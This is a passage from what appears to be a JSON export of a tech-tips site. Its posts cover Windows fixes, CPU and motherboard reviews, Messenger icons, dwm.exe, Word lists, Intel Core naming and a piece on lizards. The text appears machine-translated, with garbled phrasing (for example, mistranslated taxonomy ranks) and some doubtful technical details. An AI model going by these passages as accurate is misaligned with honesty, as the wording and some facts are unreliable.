phones"},{"body":" This wikiHow teaches you how to delete the WhatsApp Messenger app from your Android. Open your Android's Settings app. Swipe down from the notification bar at the top of your screen, and tap the icon to open Settings.\n Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2avmJbBtK3PqWSopl2Wu6W%2BzqKb\n","link":"/post/how-to-uninstall-whatsapp-on-android/","section":"post","tags":null,"title":"How to Uninstall WhatsApp on Android"},{"body":"So what is this error and how to fix it? Read the article below!\n\"Uninstall this app now because it isn't compatible with Windows 10\" is a fairly common error on\u0026nbsp; Windows 10 . This message appears when you open an application on the computer, the user cannot use the application. Sometimes the system not only displays the above message, but also comes with the error code Error Code 0xc1900208. The cause of this phenomenon is that when updating Windows, from Windows 7 to Windows 10, for example, there will be some software that is not compatible with the new version of Windows, so it needs to be removed. The application that gets this error is usually\u0026nbsp; VirtualBox .\nHowever, you have already uninstalled that application, or checked in the settings, you don't see that application but the error message still shows up, so what to do? The reason you don't have VirtualBox installed but still showing the error message is because this is virtual computer software, although you don't have VirtualBox installed, many emulator applications already use this software in the background so they can work properly. normal.\nYou perform each of the following methods in turn, this method is not effective, then move on to the next method.\nRight-click the Start button \u0026gt; Apps and Features \u0026gt; Select software that uses emulators such as Bluestack, LD Player,. \u0026gt; Uninstall \u0026gt; Restart.\n  After uninstalling the application, but the error message still appears, it may be because the software has not been completely removed, there are hidden files left in the computer. To delete these files, do the following:\nStep 1: Open File Explorer \u0026gt; View \u0026gt; Hidden items.\n  Select Hidden items in the View tab\nStep 2: Select This PC \u0026gt; Type *_APPRAISER_HumanReadable.xml in the search box.\n  Step 3: Right-click the file whose name ends with _APPRAISER_HumanReadable.xml \u0026gt; Select Open with Notepad.\n  Step 4: In the Notepad window that appears, press Ctrl + F and type DT_ANY_FMC_BlockingApplication \u0026gt; Find Next.\nThe result found is the command line with the value True.\n  Step 5: Press Ctrl + F and type LowerCaseLongPathUnexpanded \u0026gt; Find Next. Then copy the file path.\n  Step 6: Return to File Explorer, paste the copied path into the search bar. Then delete the found file by right-clicking \u0026gt; Delete.\nThere are many software to completely remove applications on Windows, here I suggest using Revo Uninstaller.\nStep 1: Download and install Revo Uninstaller like any other normal software, then open the application and type the name of the software you want to delete in the search box.\nStep 2: Click on the software icon to remove and select Uninstall.\nAbove are the shares around the topic of how to fix the \"Uninstall this app now because it isn't compatible with Windows 10\" error. Hope this information will be useful to you. See you in the next articles.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5edSnoKerpJa5rXnToaCsZZGlvW66zrBkm52TlsK0sYyiq2aho6PBbrHRq6arZZ%2Bjeri1zZ2msKtdZn0%3D\n","link":"/post/steps-to-fix-uninstall-this-app-now-because-it-isn-t-error-on-windows-10/","section":"post","tags":null,"title":"Steps to fix Uninstall this app now because it isn't.. error on Windows 10"},{"body":"In the product launch last May, besides the Core i9-10900K, which occupies most of the focus of technology pages, Intel also sent to the i5-10600K media in the press kit. It is also obvious that the i5 series of CPUs do not pay as much attention as the i7 or later i9 because they are shaped for the mid-high-end personal computer market. However, not so that the attraction of this CPU line is inferior to its seniors. Even, i5-10600K can be considered one of the most interesting CPUs in dozens of Intel Core i Comet Lake-S 10-generation CPUs.\n Continuing the tradition of the Core i5, i5-10600K CPUs towards the user with a reasonable budget and know what they need. The difference between the i5-10600K and i7-10700K is about $ 100, a number that many people can take advantage of to upgrade the graphics card, for a better gaming experience.\u0026nbsp;\nOne of the points that makes the 10th generation Core i5 in general and i5-10600K in particular become much more attractive than the previous generation is the return of HyperThreading hyperthreading feature. Now, the i5 CPUs will be configured with 6 cores 12 threads instead of 6 cores 6 threads like i5-9600K. As a result, the multitasking performance of this CPU has been greatly improved, ready to compete with rivals on the other side of the battlefield and even competitors in the higher segment thanks to the superior clock speed.\n Test configuration:\n-CPU: Intel Core i5-10600K\n-RAM: Corsair Vengeance LPX 2x16GB 3200MHz CL16\n-Mainboard: Gigabyte Z490 AORUS Master\n-VGA: EVGA RTX 2080 Super XC Ultra Hybrid\n-NVMe: Samsung PM981 1TB\n-Cooling CPU: Arctic Liquid Freezer II 240mm\n-PSU: Corsair SF750\nThe above configuration is reused from the i9-10900K review, so it looks a bit redundant, \"overkill\". In fact, the mainboard to pair with the i5-10600K will just be a mid-range Z490 with VRM of about 6-8 phases, just enough to slightly overclock. In addition, I also consider the i5-10600K to be an ideal choice for SFF compact configurations using an ITX form motherboard.\n With HyperThreading, with 12 threads, the rendering performance of i5-10600K has been completely improved compared to its predecessor i5-9600K. As a result, in the typical Cinebench R20 test, which is very popular for measuring single and multi-core performance as well as testing the stability of the system, the single-core and multi-core scores of the i5-10600K are even higher. slightly more than rival Ryzen 5 3600X.\u0026nbsp;\nPlease note that while the score is similar, Intel Core and AMD Ryzen 3000 have a considerable distance in technology, one side uses the 14nm process while the other uses 7nm. That is to say, even though it is somewhat old, Intel's technology is still enough to make the opponent be wary.\nMeanwhile, the Blender score of i5-10600K surprised results when faster than Ryzen 5 3600X when rendering BMW files and slower in the Classroom file. In terms of pure performance through tests like CPU-Z, Geekbench, 3DMark, thanks to the higher clock rate than the opponent, the i5-10600K easily scores higher, even surpassing up to 15%.\n  Thanks to a higher clock rate of about 0.4GHz compared to the single-core boost and multi-core boost, Core i5-10600K easily surpasses the opponent in gaming performance when tested. Higher average FPS and 1% low FPS than the competition will help ensure a smoother user experience. Not only that, in poorly optimized games like PUBG, the average FPS of i5-10600K is even on par with competitors in the upper range like Ryzen 7 3700X. FPS is the most powerful evidence that even though the technology is up to 5 years old, Intel still has the ability to cause difficulties, even surpassing in the ability to play games compared to rivals. This is a big surprise, especially in the context of semiconductor technology still has great leaps every year.\n In terms of temperature, with only 6 processing cores, the temperature of i5-10600K is handled very well. In the 10th generation Core i, flattening the silicon base and increasing the thickness of the IHS thermal pad helped greatly in controlling the operating temperature. When operating with a standard clock in the air conditioner of 25 degrees Celsius, the temperature of the highest i5-10600K also did not touch 70 degrees C when dissipated with AIO 240mm and TDP at 89W only. The TDP level when the CPU is at idle is only 36 degrees Celsius. If there is no need for overclocking, the i5-10600K can be cooled by popular heat sinks or low profile low profile heaters for compact cases. SFF.\n \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp;\u0026nbsp;   Thanks to the heat generated during the relatively modest operation, users still have about 30 degrees Celsius to be able to easily overclock for i5-10600K. In this review, with the Intel Extreme Tuning Utility overclocking tool, the i5-10600K can easily reach 4.9 GHz all core and temperatures below 80 degrees Celsius. 150W, slightly higher than the published 125W rating. This slight overclocking makes it easy for users to get around 10% more performance.\nTo sum up, the i5-10600K may be considered the most interesting CPU in Intel's recently released Comet Lake-S CPU line. Equipped with 6 cores and 12 threads with high clock speed makes this CPU easily touch the \"sweet spot\" of gaming configurations equipped with NVIDIA RTX 2070 or AMD Radeon RX 5700 XT and above. Not to mention, the well-controlled operating temperature also helps the i5-10600K can be used for compact ITX configurations. If you are in need of building a configuration for gaming, the 10-generation Core i5 in general and i5-10600K in particular will be the most optimal choice on the market today, ready to race gaming performance with both Rivals on the price range.\nAdvantages: -Good gaming performance -Cool operation -Easy to overclock\nDisadvantages: -Still stomping at process 14n\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVknKeimnqqgZBpbWlom2K%2FpsLInq5mrJiaeq670q1kmp6WpL%2BlrcGlnGafkaK2r7OMnKeuZaSksaLF\n","link":"/post/the-most-affordable-gaming-cpu-today/","section":"post","tags":null,"title":"The most affordable gaming CPU today"},{"body":"According to the San Diego Zoo, lizards are scaly reptiles that are widely distributed with more than 4,675 different species. However, some other sources of information have about 6,000 different lizard species, most of which are four-legged lizards, others have two legs and the rest have no legs. Furthermore, lizards also have crests, horns or wings and most of the lizards often carry colorful colors.\n A green lizard appears when Will Jenkins is resting / relaxing with his family in Costa Rica.Jenkins quickly took this picture.Photo source: Will Jenkins / Wildlife Photographer of the Year 2014\nSize In general, lizards have a small head shape, long body and long tail. There are many different types of lizards, so they are often diverse in size. The largest lizard species is called Komodo Dragon , found in Komodo Island, Rinca, Flores, Gili Motang and Padar. Komodo dragons have a maximum length of 3 meters and weigh up to 80kg. The smallest lizard species is the dwarf gecko , which is only about 1.6cm long and weighs 120mg.\nLiving environment Lizard is found all over the world, almost in every terrain. Some live on trees, the rest live in vegetation on the ground, while others prefer to live on desert cliffs. For example, Texas lizards are found in warm climates and small vegetation like in southern North America. In contrast, northern fence lizard likes to live in the cool pine forests of North North America.\n The dragon Komodo dragon has a long tongue that is made to be used to smell and enjoy food.Photo source: Sergey Uryadnikov / Shutterstock.\nHabit Mostly, lizards usually work during the day. Lizards are cold-blooded animals, so they rely on habitats to warm the body. Using sunlight from the sun and working to increase body temperature, the sun's rays provide vitamin D for lizards. During the day time they spend time exposing themselves to the cliffs for sunbathing, hunting or finding food in their own way.\nAccording to research from the University of California, some lizards live in colonies, while others can easily live with dozens of different lizards. Unlike other mating species, most lizards are not social animals. There are some exceptions, such as night desert lizards that live in colonies.\nLizard skin scales do not increase with the age of the animal. Mostly, lizards peel skin or change skin in large pieces. The lizard is also capable of removing its tail when it is grabbed by a predator.\nFoods Many lizards like to eat meat, meaning they only eat meat. The typical food of this lizard is ants, spiders, termites, cicadas, small mammals and even other lizards.Caiman lizards also eat shellfish such as snails.\nSome other lizards eat omnivorous, meaning they eat both meat and vegetables. An example of omnivorous lizard is Clark's thorn lizard . These lizards love to eat fruits, leaves and vegetables.\nThe rest are grass-eating lizards, meaning they only eat plants. The iguana sea ​​lizard living in the Galapagos Islands likes to eat seaweed. Iguana iguana and agamids are also a plant-eating lizard.\nMating and reproduction According to National Geographic , lizards are reptiles that lay eggs and they can reproduce mono ( also called virgins ) meaning they can fully conceive and fertilize their own eggs without need sperm of male. Scientists are still seeking answers to this strange phenomenon. However, when meeting males, female lizards can still \" pregnant \" and reproduce normally. Crested lizards usually lay between 8 and 23 eggs with a gestation period that can last up to 12 months.\nMostly, baby lizards from birth can do everything on their own, like going, running and eating. Lizard maturity is from 18 months to 7 years, depending on the species. In particular, some lizards can live up to 50 years.\n The wild brown bagger with an airbag in the head (Basiliscus vittatus) was taken in Guatemala.The animal named Jesus lizard is capable of running on water.Photo source: Ana Balcarcel\nScientific classification Here is the classification of lizards based on the Integrated Classification Information System (Integrated Taxonomic Information System - ITIS ):\nAbout : Animalia Demarcation : Bilateria Branch : Craniata Subdivision : Vertebrata Industry classification : Gnathostomata Contact class : Tetrapoda Class : Reptilia Classification : Diapsida Classification : Lepidosauromorpha Contact set : Lepidosauria Set : Squamata The classical division of the reptile set has scales of the following 3 subdivisions:\nLizard ( Lacertilia ), including lizard species; Serpentes ( Serpentes ), including snakes; Division Amphisbaenia ( worm lizard ). Status and conservation Lizard species differ in their conservation status, as well as their own characteristics. According to the International Union for Conservation of Nature and Natural Resources (IUCN ) Red List of Endangered Species, many lizards are threatened or in love. extremely endangered, meaning they may be about to become extinct. Some lizards are in an extremely dangerous situation: crocodile lizard Campbell ( Campbell's alligator lizard ), St. Croix Ameiva, crocodile skin lizard live in Frost trees, Be'er Sheva flower lizards and Doumergue fuchsia lizards.\n  Other species The freckled neck lizard has a large, round neck that only appears when they try to threaten the attacking enemies.\nAccording to National Geographic, Green Basilisk lizard can move on water at 1.5m / s in a distance of 4.5m or more. In particular, Baslisk also has leather in the middle of duck-like toes that can run on the surface of the water.\nTongue of thechameleon\u0026nbsp;longer than body size and their eyes can look in two different directions at the same time.\nAccording to the Museum of Natural History of the United States, when shining a light on the inside of a gecko's ear, that light will shine to the other ear and spread out.\nAccording to Britannica Encyclopedia, two species - Mexican wet skin lizards in western Mexico and Gila monsters in the southwestern United States and Northwest mexico - are very poisonous.\nThis is the video of the lizard landscape Green Basilisk | Ninja running on the water.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZrGfqnqurdhmpaisXaC7sMOMmpmoraRiuarGwKubrA%3D%3D\n","link":"/post/things-you-may-not-know-about-lizards/","section":"post","tags":null,"title":"Things you may not know about lizards"},{"body":"Here is a list of the best B550 motherboards on the market today.\n1. Asus ROG Strix B550-F Gaming Wi-Fi Socket: AM4 | Chip: AMD B550 | Size: ATX | Voltage regulator: 12 + 2 phases | PCIe x16: (1) v4.0 (x16), (1) v3.0 (x4) | USB Ports: (2) USB 3.2 Gen 2 (10 Gbps), (4) USB 3.2 Gen 1 (5 Gbps), (2) USB 2.0 | 3 year warranty\n  Asus ROG Strix B550-F Gaming Wi-Fi offers premium features including SupremeFX audio, Intel Wi-Fi 6 AX200, stable power delivery and more. It's a good option in the $ 200 range, although if you don't need the Wi-Fi capabilities, the non-Wi-Fi version of the same board costs less than $ 30 with the same specs, making it easy to deal with. if you plan to use Ethernet or have your own wireless card.\n2. NZXT N7 B550 Socket: AM4 | Chip: AMD B550 | Size: ATX | Voltage regulator: 12 + 2 + 2 phases | PCIe x16: (1) v4.0 (x16), (1) v3.0 (x4) | USB Ports: (1) USB 3.2 Gen 2 Type-C (10 Gbps), (3) USB 3.2 Gen 2 Type-A (5 Gbps), (4) USB 3.2 Gen 1, Type-A (5 Gbps) ), (2) USB 2.0 | 3 year warranty\n  NZXT's first foray into AMD motherboards was a success. Being late in the game allows the company to deploy feedback from its Intel boards, adding more USB ports to the rear I / O. The additional time also allows the NZXT to deploy advanced 6E Wi-Fi, along with 2.5GbE. Outside of that, the design has changed dramatically from previous corporate boards, with a fabric cover on the surface and no onboard RGB lighting.\nWith an MSRP of $ 229, the NZXT N7 B550 offers a newer Wi-Fi chip, more and faster USB ports, and stable performance in a package that visually differentiates it from all other B550 competitors. If you can spend that much and don't need the extra PCI 4.0 bandwidth that comes with similarly priced old X570 motherboards, the NZXT N7 B550 is well worth a look.\n3. Gigabyte B550 Aorus Master Socket: AM4 | Chip: AMD B550 | Size: ATX | Voltage regulator: 16 stages | PCIe x16: (1) v4.0 PCIe x16; (2) v3.0 (x4) | USB Ports: (1) USB 3.2 Gen 2, Type-C (10 Gbps), (4) USB 3.2 Gen 2, Type-A (10 Gbps), (1) USB 3.2 Gen 2, Type-A (5 Gbps), (6) USB 2.0, Type-A | 3 year warranty\n  There are plenty of options based on the B550 that are cheaper than the Gigabyte B550 Aorus Master, but if you were looking at the top key components, you probably already know that you're set up with a single GPU and a PCIe 4.0 M module. 2. While it's possible to add more modules, you'll be limited to PCIe 3.0 (which is still fast enough for many people) with those additional drives. If you're still a heavy SATA-based memory user and six of those ports aren't enough, check out ASRock B550 Taichi. But if you need three M.2 slots and loads of USB, the Aorus Master will offer.\nThe B550 Aorus Master is a board with a lot of capabilities, packed with premium features like high-quality Wi-Fi 6 and VRM. This is one of the better appointed B550 motherboards, though that also means it's expensive. If a $ 250 B550 motherboard is what you're looking for, then the B550 Aorus Master will be in your shopping cart.\n4. MSI MAG B550 Tomahawk Socket: AM4 | Chip: AMD B550 | Size: ATX | Voltage regulator: 13 stages | PCIe x16: (1) v4.0 PCIe x16; (1) v3.0 (x4) | USB Ports: (2) USB 3.2 Gen 2, Type-A and Type-C (10 Gbps), (2) USB 3.2 Gen 1, Type-A (5 Gbps), (2) USB 2.0, Type-A | 3 year warranty\n  The MSI MAG B550 Tomahawk offers a well-balanced feature set at a competitive price point. Performance is increased thanks to more expensive boards, and the VRM retains their own performance even when overclocked. For $ 180 you'll have to live without Wi-Fi and some of the potential downsides are six total USB six on the rear I / O as well as less audio codecs than many other boards. Assuming these are not PC deal breakers, the MSI B550 MAG Tomahawk deserves a look if the budget is around $ 180.\n5. Asus ROG Strix B550-I Gaming Socket: AM4 | Chip: AMD B550 | Size: Mini ITX | Voltage regulator: 10 stages | PCIe x16: (1) v4.0 | USB Ports: (4) USB 3.2 Gen 2 (1 Type-C), (2) USB 2.0 (1 Type-C) | 3 year warranty\n  If you love the B550 board in the compact Mini ITX form, you only have a handful of options, go buy Asus's ROG Strix B550-I Gaming. At $ 230, it's quite expensive, but $ 100 less than the Gigabyte B550I Aorus Pro AX, while still offering two M.2 slots (one on the back), Wi-Fi 6 and 2.5Gb Ethernet. And active VRM cooling means you won't have to deal with the heat issues like on the Asus Prime B550M-A and 3900X Wi-Fi.\nYou'll get six USB ports on the rear I / O, but that's on par with of course with these small B550 boards. Just be aware that one of the six ports is a USB 2.0 Type C port designed for audio. If you're planning on building an APU, you'll have a trio of video ports and analog audio jacks lit up. However, that's the range of the onboard RGB. If you want more lighting, you will have to provide additional components and accessories.\nYou'll also have to deal with some inconveniently placed headers, such as the front-facing audio jack inserted between the main M.2 heatsink and the two RAM slots. But again, this is to be expected when a lot of premium features get stuck on such a small board. For around $ 30 lower, you can buy MSI's MPG B550I Gaming Edge Wi-Fi. That board is similar in many ways, but swapped a few video ports for one PS / 2 port and more audio jacks. It also has fewer USB 3.2 Gen 2 ports, although it has more Type A ports than Asus' ITX boards.\nmainboard Top 5 ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXpzfJFqZJttZWV6rrvToZyrmp%2BWv6W%2F\n","link":"/post/top-5-best-2021-b550-motherboards/","section":"post","tags":null,"title":"Top 5 best 2021 B550 motherboards"},{"body":"Many of the icons used on Facebook Messenger can be quite confusing. So what do they mean? In this article, TipsMake.com will explain the meaning of all icons in Facebook Messenger.\nThe article explored the most popular icons on Facebook Messenger to find out their purpose. Here is everything you need to know.\n1. The blue circle icon The blue Facebook Messenger icon means your message is currently being sent.\nIt is best if you do not navigate away from the message while this blue circle appears, because you may risk losing the message if logged out before it is completely sent.\n2. The blue circle icon + Check mark A blue circle with a checkmark means your message has been sent.\nAt this point, you will be able to navigate away from the message without any worries. However, the person you are sending the message with may not be able to see it yet.\n3. The blue circle icon is filled up + Traces A blue circle is filled with traces which means your message has been sent.\nAlthough the person may not have read your message, you can be confident that the message will be available whenever they check their phone, tablet or computer.\n4. Red triangle icon + Exclamation mark A red triangle with an exclamation mark will only appear if your message cannot be sent due to an Internet connection loss. This is arguably the least popular Messenger icon.\nA message will appear along the red triangle indicating that 'This message didn't send. Check your internet connection and click to try again ' ( This message did not send. Check your Internet connection and click to try again ). Avoid navigating away from the page until your Internet connection is active or saving a copy of your offline messages to ensure information is not lost.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqGWZmLyvv4yopWaekZiyo7vOpGSmnaOosq%2BzxKtkpp2Row%3D%3D\n","link":"/post/what-do-icons-on-facebook-messenger-mean/","section":"post","tags":null,"title":"What do icons on Facebook Messenger mean?"},{"body":"When you right-click on the PortableBaseLayer drive, all options (except Properties ) will turn gray.\nPortableBaseLayer also appears in the Optimize drives window as a virtual hard drive. You may be wondering exactly what is PortableBaseLayer. The answer will be in the following article.\n PortableBaseLayer with 8191MB capacity (8GB) What is PortableBaseLayer appearing in Disk Management? PortableBaseLayer is not a malicious drive. It is a mounted virtual drive (.vhdx) and used by the Windows Sandbox feature.\nIf you run a command mountvolfrom the Command Prompt, you can see the GUID volume of PortableBaseLayer and the associated file / directory ( WindowsContainersBaseImages ).\n GUID volume PortableBaseLayer and associated files / folders (WindowsContainersBaseImages) Unexpected PortableBaseLayer will show up in the Disk Management or Optimize Drives list. And, in Windows Insider build 18912, some users have reported that the drive is not listed in Disk Management.\nIs PortableBaseLayer related to Reserved Storage? Is not! PortableBaseLayer has nothing to do with the Reserved Storage feature (also introduced in v1903).\nReserved Storage is a backup drive created to store Windows Update updates and temporary files, for a smooth installation experience. It has nothing to do with the Windows Sandbox or the PortableBaseLayer virtual drive.\nReserved Storage is automatically introduced on devices that come with 1903 pre-installed or on devices with a 'clean' 1903 installation.\n Reserved Storage is a backup drive created to store Windows Update updates and temporary files You can learn more about Reserved Storage and how to disable it in the article: How to disable Reserved Storage on Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuvM6rq5qanJqvor%2FEpZiynaJivaK%2B06KroqeeYravedaipZ2np6h6cnyMnaCso12irq%2Btxp6knqak\n","link":"/post/what-is-the-portablebaselayer-partition-in-windows-10-disk-management/","section":"post","tags":null,"title":"What is the PortableBaseLayer partition in Windows 10 Disk Management?"},{"body":"The decision to join the Paris Agreement on the deployment of an environmentally friendly production model in the technology sector was made as an important part of Logitech's new plan to transform strongly into a business. Sustainable and environmentally responsible businesses.\nAccordingly, all gaming hardware products (Logitech Gaming) of this Swiss manufacturer are made from environmentally friendly materials, along with production processes certified Carbon Neutral globally.\nThe amount of CO2 emissions from the production of electronic devices and computer components is also one of the significant factors contributing to exacerbating the climate change situation that is increasingly having negative impacts on the earth. . There have been many international conferences held to discuss this issue, including the priority to use the series of materials that emit less CO2 in the production process, as well as change the production line towards Carbon neutralization is the best option, although there will certainly be certain effects on the companies' existing production lines.\n  With the move towards environmentally friendly materials as well as neutral carbon production lines, Logitech is becoming the leading flag in the movement to promote environmentally sustainable, sustainable development models in technology world. According to Logitech Gaming's calculations, the carbon footprint during the design, manufacture, packaging, transportation and recycling of products manufactured on carbon neutral processes has been significantly reduced, almost down. net emissions.\nIn an effort to shift to using most of the neutral carbon materials in its production lines, the technology company has cut more than 17,000 tons of CO2 in its manufacturing operations at its Suzhou factory, China. 2019 to the present, and this number will count there will increase even more in the future.\nResearch: Smart phones are the most destructive factor ncG1vNJzZmismaXArq3KnmWcp51krq24jKWmoKGkmrCpecaapKKml2K9s7vDrpqtq12Wv6Z5wp6praGWnrKlecKaqZunnmK7psHTq5il\n","link":"/post/all-logitech-gaming-products-are-certified-carbon-neutral/","section":"post","tags":null,"title":"All Logitech gaming products are certified carbon neutral"},{"body":"In Windows operating system there are many strange applications and processes that most people don't know what it is.What does it function, how does it work, how much system memory does it take . Today, TipsMake.com will explain the dwm.exe application and why does it work?\nWhat is Dwm.exe application?\nShort for Desktop Window Manager, this application is capable of managing and controlling changes in Windows Vista: Transparent windows, live taskbar thumbnails, Flip3D switcher .\n  In Windows Vista, this application has the function to record small pixels of the corresponding active window, and write it to a certain location on the memory, and then Windows will create the collage of all windows on the screen before sending a display signal. Besides, Windows Vista will 'monitor' all the contents of each window, add effects to layers like transparency and live preview thumbnails.\nThe advantage of using this feature is that Windows Vista can make the best use of supported hardware power such as graphics cards to deliver spectacular effects, harmonious movement between windows while minimizing or enlarge.\nSystem memory usage level\nIf you open Task Manager, you can easily recognize the dwm.exe application in the list, which normally takes up about 30-50MB of RAM:\n  The size of the DWM process depends on the number of open windows, each window requires a certain amount of caching to restore the form and content of those windows. If you open more windows, of course DWM will use as much memory as possible.\nShould I turn off Vista Basic Theme or not?\nThe answer is no, because the Vista Basic theme switching on or off does not turn off DWM, but it also reduces the amount of RAM used:\n  So how to switch to Vista Basic mode? Right-click the Desktop screen\u0026gt; Personalize \u0026gt; Window Color and Appearance :\n  Choose classic appearance properties at the end:\n  Then select Windows Vista Basic \u0026gt; Apply :\n  How to turn off dwm.exe\nNote that turning off this utility does not improve the system performance much.\nThe only way to do this is to turn off the corresponding service, open Services ( Run \u0026gt; services.msc ) or from the Control Panel \u0026gt; Administrative Tools and find the Desktop Window Manager Session Manager process , and click the Stop button above. The system will automatically switch to Vista Basic theme mode when clicking the Stop button:\n  To turn it off completely, double-click the process and select Disabled in the Startup type section :\n  If you want to use DOS command, open cmd with the Administrative account (right-click\u0026gt; Run as administrator ) and type the following command:\nStop service: net stop uxsms Operation: net start uxsms Disable: sc config uxsms start = disabled Activation: sc config uxsms start = auto\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51krrG8y6KamqyZpLtusNamnLGdXZa7pXnWobBmoaRixLC%2Byqw%3D\n","link":"/post/application-dwm-exe-and-why-it-works/","section":"post","tags":null,"title":"Application dwm.exe and why it works"},{"body":"Bullets and Numbering lists are used in documents to organize, list and emphasize text. In this article, Dexterity Software will learn how to use existing symbols (bullet), insert new bullets and numbers, select bullet icons and multi-level list format.\n  Create lists of Bullets notation Step 1 : Highlight the text you want to format the list style.\n  Step 2: On the Home tab (1) , click the drop-down arrow next to the Bullets icon (2) .\n  Step 3 : Move the mouse pointer over the style Bullet different (1) . A draft of that Bullet type is displayed in the text (2) . Then choose the type of Bullet you want to use.\n  Result: The text is formatted as a bulleted list.\n  Create a numbering list of Numbering numbers With the Numbering tool, you can create your lists in numerical order, roman numbers or alphabets.\nStep 1 : Highlight the text you want to format the list style.\n  Step 2: On the Home tab (1) , click the drop-down arrow next to the Numbering icon (2) .\n  Step 3: Move the mouse cursor over the type Numbering different (1) . A draft of that Numbering style is displayed in the text (2) . Then choose the Numbering style you want to use.\n  Result: The text will be formatted as an ordered list at the beginning of the paragraph.\n  Restart the numbered list If you want to split the paragraph of the list and retype the number in a list, Word has the Restart at 1 option . Here, you can apply a list of numbers or letters.\nFirst, point your mouse at the position where you want to renumber (for example, starting from section 3) Piglets), right click and select Restart at 1.\n  As a result, from the content of the Piglet onwards will be played back from the number 1.\n  Create MULTILEVEL LIST multi-level lists Multi-level lists allow you to create lists with different levels.\nPlace the insertion point at the beginning of the line you want to move.\nStep 1: Put the insertion point at the beginning of the line you want to move.\n  Step 2 : Press the Tab key to increase the indent of the line. The line will move to the right. If you want to be in the 3rd level you press Tab 2 times .\n  Step 3: Highlight the area to create multi-level lists.\n  Step 4: On the Home tab (1) , click the drop-down arrow next to the Multilevel List icon (2) .\n  Step 5: Move the mouse pointer over the different types of Multilevel List . Select the type of Multilevel List you want to use.\n  And this is the result:\n  Note\nTo remove numbers or bullet marks from the list, select the list and click the Bulleted or Numbered list command . When editing the list, you can press Enter to start a new line and the new line will automatically have bullet or Numbering . At the end of the list, press Enter twice to return to normal format. Drag indent on the ruler, you can customize the indent of the list and the space between text with bullet or Numbering . Above Software Tips guide you how to create a list of symbols (Bullets) and a list of type (Numbering). Very useful, right? Good luck.\nncG1vNJzZmismaXArq3KnmWcp51kr7a4y56rrGWeqrqjsdGipaBlmaN6uLvRnQ%3D%3D\n","link":"/post/bullets-numbering-in-word/","section":"post","tags":null,"title":"Bullets, Numbering in Word"},{"body":"Microprocessors are the brain of a computer, but to know the difference between processors requires a lot of effort from the user. Intel has a rather confusing way of naming microprocessors and the most frequently asked questions are: What is the difference between the i3, i5 or i7 processors? Which one should I buy for a computer?\nIt's time to clarify that. Today's article will not cover other Intel processors like the new Pentium or Core M series for laptops. Each Intel processor has its own advantages, but the Core series is the most popular and most confusing, so the article will focus on that.\nDoes your computer need Intel Core i3, i5 or i7? The difference between Core i7, Core i5 and Core i3 What does Intel's model number U, Q, H, and K mean? Hyper-Threading technology on Intel Core i7, i5 and i3 Turbo Boost technology on Intel Core i7, i5 and i3 Intel Core i7, i5 and i3 cache sizes Intel HD graphics card, UHD, Iris, Iris Pro or Plus Choose between Intel Core i3, i5 and i7 The difference between Core i7, Core i5 and Core i3   Intel Core i7 is better than Core i5, and Core i5 is better than Core i3. The problem is that you know what to expect in each of these categories. Let's find out a little deeper.\nFirst, i7 doesn't mean 7 core processor! This is just a name to indicate relative performance.\nTypically, the Core i3 line only has a dual-core processor, while the Core i5 and Core i7 series have both dual-core and quad-core processors. Quad core is usually better than dual core, but don't worry about that.\nIntel released a series of chipsets (chipsets are a group of integrated circuits designed to work together and go together as a single product), called generation. The current version is the 8th generation line named Kaby Lake Refresh. Each generation has its own line of Core i3, Core i5 and Core i7 processors.\nYou can detect which generation belongs to the generation based on the first digit in the four-digit model name. For example, Intel Core i3-8250 is the 8th generation.\nTip: Here's a helpful rule. The remaining three digits are Intel's assessment of how microprocessors are compared to other processors in the line. For example, Intel Core i3-8145U outperforms Core i3-8109U because 145 is larger than 109.\nWhat does Intel's model number U, Q, H, and K mean?   As you can see, the model numbers will usually be followed by one or a combination of the following letters: U, Y, T, Q, H, G and K. Here are their meanings:\nU : Ultra Low Power . The U is only for notebook processors. They use less power and are better for batteries. Y : Low Power ( Low power level). Often found on older generation laptops and mobile processors. T : Power Optimized. Processor optimizes energy for desktops. Q : Quad-Core (quad core). Q is for microprocessors with four physical cores. H : High-Performance Graphics ( High-performance Graphics ). The chipset has one of Intel's best graphics cards in it. G : Includes Discrete Graphics (Including discrete graphics cards). Often found on laptops. This means there is a dedicated GPU with the processor. K : Unlocked . This means you can overclock the processor above its rating. Understanding these letters and the numbering system above will help you know what a microprocessor provides, just by looking at the model number, without having to read the actual specifications. Of course, before making a purchase, you should check the details at ark.intel.com.\nYou can find the meaning of other suffixes according to Intel's instructions on the number of processors.\nHyper-Threading technology on Intel Core i7, i5 and i3   Hyper-Threading (Intel Hyper-Threading Technology) is the deployment of multiple concurrent, proprietary threads from Intel, used to improve the parallelism of calculations, implemented on x86 processors.\nThe physical cores largely determine the speed of a microprocessor. But with the way modern CPUs work, you can speed up with virtual cores, enabled through a system called Hyper-Threading Technology - Hyper-Threading Technology.\nUnder normal circumstances, hyperthreading allows a physical core to act as two virtual cores, so it can perform multiple tasks at once without activating a second physical core (ie love Demand additional power from the system).\nIf both processors operate and use hyperthreading, those four virtual cores will compute faster. However, note that physical cores are faster than virtual cores. A quad-core CPU will perform much better than a dual-core CPU, in terms of hyper-threading!\nThe Intel Core i3 and Core i7 series support hyperthreading. The Intel Core i5 series does not support this.\nHowever, recent reports show that Intel can reduce the ability of hyper-threading on all its processors, except for the fastest Core i9 line.\nTurbo Boost technology on Intel Core i7, i5 and i3   Turbo Boost is a technology that enhances performance, helps the system to operate faster and extends battery life.\nIntel Core i3 series does not support Turbo Boost. Core i5 and Core i7 series use Turbo Boost to speed up tasks.\nTurbo Boost is Intel's proprietary technology to intelligently increase processor clock speed, if the application requires it. For example, if you are playing a game and your system requires some extra horsepower, Turbo Boost will accelerate to compensate.\nTurbo Boost is useful for those who run resource-intensive software like video editors or video games, but it doesn't have much impact if you're just browsing the web and using Microsoft Office.\nIntel Core i7, i5 and i3 cache sizes   In addition to Hyper-Threading and Turbo Boost, the biggest difference in the Core product line is Cache Size. Cache is the processor's own memory and works like its own 